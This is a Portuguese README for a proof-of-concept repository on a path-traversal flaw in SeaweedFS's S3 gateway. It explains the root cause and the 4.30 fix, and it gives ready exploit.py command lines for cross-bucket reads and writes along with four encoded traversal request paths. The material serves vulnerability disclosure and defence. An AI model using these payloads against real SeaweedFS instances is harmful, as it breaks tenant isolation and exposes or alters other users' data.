
PoC + análise para CVE-2026-54917 — path traversal entre buckets no gateway S3 do SeaweedFS (CVSS 10.0, <4.30). Leia/grave qualquer bucket via .. na chave do objeto.
Prova de conceito e análise técnica da CVE-2026-54917, um path-traversal no gateway da API S3 do SeaweedFS que permite a um chamador acessar objetos em qualquer bucket, independentemente do que suas credenciais estão autorizadas a acessar.
| CVE | CVE-2026-54917 |
| Aviso | GHSA-w62w-66v9-vvgv |
| Produto | SeaweedFS — gateway da API S3 (weed s3 e o endpoint S3 em weed server) |
| Afetadas | < 4.30 |
| Corrigida | 4.30 |
| Fraqueza | CWE-22 — Limitação inadequada de um nome de caminho a um diretório restrito |
| Severidade | 10.0 Crítica — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N |
| Status | CONFIRMADA VULNERÁVEL na 4.29 · CORRIGIDA na 4.30 (verificado de ponta a ponta) |
├── exploit.py self-contained exploit (read + write, 4 traversal encodings)
├── README.md this file
├── ANALYSIS.md source-level root-cause walkthrough
├── EVIDENCE.txt raw lab transcript (vulnerable + patched boundary)
├── patch-4.30.diff the security-relevant portion of the official fix
└── lab/ one-command reproduction (docker-compose / setup.sh)
O roteador da API S3 é construído com mux.NewRouter().SkipClean(true). Com a
limpeza de caminho desativada, um segmento .. dentro do caminho da requisição
sobrevive ao roteamento. Uma requisição como:
GET /bucket-a/../evil-bucket/secret.txt
é interpretada pela rota do mux como {bucket} = "bucket-a",
{object} = "../evil-bucket/secret.txt".
Duas coisas então divergem:
{bucket} do mux — bucket-a —
que o chamador pode usar.bucketDir(bucket) + "/" + object)
e o filer colapsa o .. no lado do servidor, então a leitura/escrita na verdade
vai para evil-bucket.O resultado é um clássico confused deputy: o IAM valida um bucket, enquanto o sistema de arquivos opera em outro. Um principal autorizado para um único bucket pode ler e escrever objetos em todos os outros buckets da instância.
enableAuth = false — leitura/escrita entre buckets direta, sem autenticação.enableAuth = true — confused deputy de autorização: qualquer principal
autenticado (qualquer tenant) lê e escreve atravessando as fronteiras de buckets
para os quais não possui permissão. Este é o cenário demonstrado aqui e o motivo
do escore 10.0 / escopo alterado: a credencial de um tenant quebra o isolamento
de todos os outros.O exploit.py usa apenas a biblioteca padrão do Python. Ele assina cada
requisição com SigV4 por conta própria e grava a linha da requisição
byte a byte, para que o caminho de traversal chegue ao servidor sem
modificações — é isso que viabiliza as variantes codificadas em URL que um SDK
S3 normal reescreveria.
# read a secret from a bucket the credential is NOT authorized for
python3 exploit.py \
--url http://TARGET:8333 \
--access-key <key> --secret-key <secret> \
--auth-bucket bucket-a \ # bucket the credential IS allowed to use
--target-bucket evil-bucket \ # bucket you are NOT allowed to use
--key secret.txt
# write into another bucket (integrity impact)
python3 exploit.py ... --target-bucket evil-bucket --key pwned.txt --write payload.bin
# try a different traversal encoding
python3 exploit.py ... --variant enc-slash # dotdot | enc-dot | enc-slash | enc-backslash
Quatro codificações de traversal são implementadas e todas confirmadas na 4.29:
cd lab
./setup.sh # starts SeaweedFS 4.29 (S3 + IAM) and seeds data
python3 ../exploit.py \
--access-key TENANTAKEY --secret-key tenantasecret \
--auth-bucket bucket-a --target-bucket evil-bucket --key secret.txt
# -> HTTP 200 + the secret from a bucket tenant-a cannot read directly
TAG=4.30 ./setup.sh # patched build, same steps -> HTTP 400 InvalidRequest
O laboratório ativa o IAM (lab/s3.json) com duas identidades: admin
(acesso total) e tenant-a (restrita a bucket-a). Toda a exploração usa
apenas a credencial de tenant-a. Consulte EVIDENCE.txt para a transcrição
completa.
Consulte ANALYSIS.md. Em resumo: SkipClean(true) mantém ..
no caminho roteado; GetBucketAndObject captura as variáveis cruas do mux; o
IAM autoriza com base em {bucket}; toFilerPath concatena {object} (que
ainda contém ..) ao caminho do filer, onde ele é colapsado e cruza a fronteira
do bucket.
Corrigido na 4.30 (patch-4.30.diff). Um middleware
validateRequestPath executa antes dos handlers de bucket e rejeita qualquer
variável {bucket} / {object} capturada que esteja vazia ou contenha um
segmento de traversal, retornando 400 InvalidRequest. Atualize para a 4.30 ou
posterior.
/../, /%2e%2e, ..%2f ou ..%5c
entre o segmento do bucket e a chave.Caio Fabrício — github.com/BiiTts
| variante | no fio | efeito |
|---|
dotdot | /bucket-a/../evil-bucket/key | funciona também com o aws-cli padrão |
enc-dot | /bucket-a/%2e%2e/evil-bucket/key | exige requisição bruta (o SDK re-encoda) |
enc-slash | /bucket-a/..%2fevil-bucket/key | exige requisição bruta |
enc-backslash | /bucket-a/..%5cevil-bucket/key | \ é convertido em / no servidor |